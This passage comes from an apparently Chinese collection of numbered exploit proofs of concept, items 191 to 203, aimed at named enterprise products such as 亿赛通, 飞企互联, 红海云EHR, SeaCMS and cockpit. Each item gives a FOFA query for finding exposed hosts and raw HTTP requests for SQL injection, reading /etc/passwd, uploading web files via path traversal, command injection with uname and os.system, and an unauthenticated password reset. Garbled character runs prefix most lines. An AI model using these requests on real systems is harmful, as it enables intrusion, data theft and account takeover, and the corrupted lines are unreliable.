Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 N& C3 a: B4 EContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

3 q7 I1 e- A( P$ c/ E& ^5 `0 I2 H; epoi=file:///etc/passwd

' Z5 p# u! [% w) A2 M4 z
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% V& v" n0 w0 f+ u8 O/ k0 mContent-Type: application/x-www-form-urlencoded
8 w: k1 I/ H7 p- Z
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
6 Y3 W. S6 R7 \

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
( }; e. M; |2 }/ j  lPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
8 R/ J: h8 p5 E: g4 A$ `1 bHost: your-ip
  M0 y3 q  [# R8 ~- ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, Y, Z- P3 S. a
0 c+ H3 c( r) f. S6 M
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
# {) O6 R0 ?1 \3 b, S2 xusing System.Web;
public class AverageHandler : IHttpHandler
{
: y/ g- j$ A- H9 d$ n1 w1 P1 n; t: Spublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
9 f' b( c) ?' A6 e; v{
6 h, U; x' ]5 R& l$ z4 v, dctx.Response.Write("test");
# b& F2 g) G# x3 e# r$ ]% C5 p}
}

( u! U/ S5 E' [( r; U- y' O6 X0 o
: j# y( O. S! U- D193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
" }& }: _# Z9 E# i' ECookie: PHPSESSID=2333333333333;
3 M% ]4 e& s& }0 F" ZContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

9 S$ |* w  j  A: O8 M8 a# p& k( ~/ _
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
% ?& n% T* b$ z4 i# ?1 C  kUser-Agent: Mozilla/5.0
, {# b" L( u$ ?) pAccept-Encoding: gzip, deflate
# D6 L. M9 T3 _! h) D& d+ jAccept: */*
9 j' {7 C, [- {Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
( S" t& M% a. I) H: u% c5 X
. V7 P6 V1 Y/ v, Z4 J( w9 `; gparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
5 h5 T+ R+ O& e% B& |

GET /master/img/config HTTP/1.1
5 T. x% M2 K( e$ ?$ a2 k1 k" UHost:
7 K' Z. Y9 q: g& W8 M! GUser-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
+ _* }2 m& `9 z0 h9 \& dFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' n6 R7 H: b- O0 `  c- H, D
/ Q1 H2 A" L8 m" }& w4 RPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
% G7 c% O' \. L! u) ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 Z& @* O9 Q3 p- j; kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 R/ R% U+ j& G% _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% F$ }6 t. b& _, z% F% }Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ f8 S# _* g9 A% O& y3 a+ u
% q* k) K6 X2 [# QContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
' |, }. Q/ W- d) P4 k" u$ bContent-Type: text/plain
7 M- \6 [' L& k<% out.println("hello");%>
) C) V1 v4 K  ^, l% |) C& D------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
7 Z! I4 D. {9 ^: v; @ {"iq":{"query":{"UpdateType":"mail"}}}
4 f6 O4 ~* _+ B) I, M------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

. V% B7 K% U+ h+ ]/ s9 ^6 b; {
2 H4 T  I9 R% M  Z1 F195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
4 @8 m/ j: n' }& y3 vPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
+ M7 P$ m+ V& s9 C7 H/ _4 t, TCache-Control: no-cache
0 F5 ]& g) k) ~% O. j7 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; u. s# I' q, A) L! E5 |Connection: close
Content-Type: application/x-www-form-urlencoded
0 y9 C" V* }/ J% @0 \Content-Length: 68
- ^9 \. |2 S* Q% r
9 K- a1 B& ^4 _% g* e{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
) s; d4 e+ y: H8 LFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
* k: q; m- [, n3 ^3 a* bPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
: o& a* K( ]. F/ p* s, _$ |Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
, E' @$ w# r" y# xContent-Length: 45
2 l* K& z4 t6 }- wConnection: close

{"xgh":"test","newPass":"test666","email":""}
+ u, _# c& O4 h1 f6 f- k. F  b: {
8 B4 o( S  M  `0 m/ ?# b: R

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close



0 u! k* g- T2 Y- Z198.  阿里云盘 WebDAV 命令注入
1 i7 J* u) J4 L- ICVE-2024-29640
5 }8 c; k8 ?" x  _" t; y9 AGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
4 D/ o- ]/ K4 l" _& mCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& i" C. W8 b/ b' t/ LAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

3 P* U& T" }' U" E7 O5 q
5 }! f5 t1 h2 @7 J199. cockpit系统assetsmanager_upload接口 文件上传

6 s- H  P  D8 c8 s5 R1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
2 C' Z3 Q( A1 BGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
. C$ K" L2 u1 b- R* |# D( O
POST /auth/check HTTP/1.1
. N3 B; j* |* O0 x0 Y" ^" e1 qContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
# X4 B: Q2 f1 t# t% c9 i2 i) Z
响应：200，返回值:
# F# k8 p& ?' USet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
- V5 K1 r. d+ ]) M2 mFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
* M3 t: Q/ i2 e6 J' AContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
. F- V( {8 M' a( OCookie: mysession=95524f01e238bf51bb60d77ede3bea92

! `) i) O' n  }1 _& x-----------------------------36D28FBc36bd6feE7Fb3
) \4 u. J& V7 {* {2 a  ?/ S* }Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
. T& z2 z. t0 H0 e-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

6 O0 Z: k" a5 R% B
/storage/uploads/tttt.php

4 m' ^& v) \6 h7 s6 Q4 b- R/ ]200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
0 c" N, G7 G5 M1 d$ \0 B9 XCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: |7 \9 D6 E1 f/ {: ~$ X1 O& PAccept-Encoding: gzip, deflate
. W: _* N& z  v% g& ^& qAccept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
5 P3 E" U% r$ d0 r3 RFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
% s$ e1 o* ~" Z1 K+ jPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 {; R2 l' i% X: PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 U0 G' Z4 N' |9 R
/ c5 L  w4 A3 LTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
' r9 Y1 G/ A* x) P( U2 [* }5 R

% J7 ~& f* j$ X0 M202. 微擎系统 AccountEdit任意文件上传
6 X# ?" r. Z9 e. ?FOFA：body="/Widgets/WidgetCollection/"
9 U+ h5 ]; ?1 l/ p! l获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
8 ^. u3 W( q( ~5 A/ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
0 o2 K6 l' J+ U6 ^Content-Length: 0
1 L0 O3 b8 D% G7 i# V% h) B. }. X
7 l/ _2 B6 v7 |. U; y3 ~3 m# O' x- s
2 n3 N: [9 w. w0 G8 G$ u替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
* a7 V" W5 j# m1 B- R7 O" v* QAccept-Encoding: gzip, deflate, br
- x9 v, D, g1 h% m5 J' D1 PContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 _$ d( F9 S: n- |* E8 z7 x! g% ]
( x' ~. b2 K6 |) K-----------------------------786435874t38587593865736587346567358735687
2 A" u* Q9 l( I' v* |Content-Disposition: form-data; name="__VIEWSTATE"

. E) a3 ]. ^' l% L4 ___VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
1 X. J# _3 ]# L2 R) t" ^# z5 a4 Q
' b+ }( f/ h! }6 d__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
4 L1 n( b+ f6 O0 v) ^! d8 KContent-Type: text/plain
( ?0 v$ ]) |5 y* R6 |
9 a5 R# \- p+ JHello World!
) c, o2 R% a6 j2 U# w-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
' A2 S( n7 D* x! W
# p0 p+ c( N# K' v7 x- t& S上传图片
! T' V" {, x  T- R; T0 ~7 o  z-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

5 }' X6 e! t6 V8 g3 l8 S. q2 E( Q
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

8 @* ~7 g+ W+ }5 s1 F; x% o( x
6 i$ ^* C5 Z7 V* _, h/_data/Uploads/1123.txt

; F4 W* e" O$ p& u2 v% s3 ^( \1 c203. 红海云EHR PtFjk 文件上传
/ C+ w- A& K3 f9 v) L- T9 mFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
7 D- c+ j5 Z5 _" x3 D$ P5 X* ^Host: x.x.x.x
4 b4 x! a( T6 o) yAccept-Encoding: gzip
" O& w1 n8 K2 [4 k: K# aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
  f" C- O& o! F% H9 fContent-Length: 210

5 L2 j0 F: i1 m" a3 D# U+ u------WebKitFormBoundaryt7WbDl1tXogoZys4
% S1 \4 Q9 b$ U  n7 ZContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--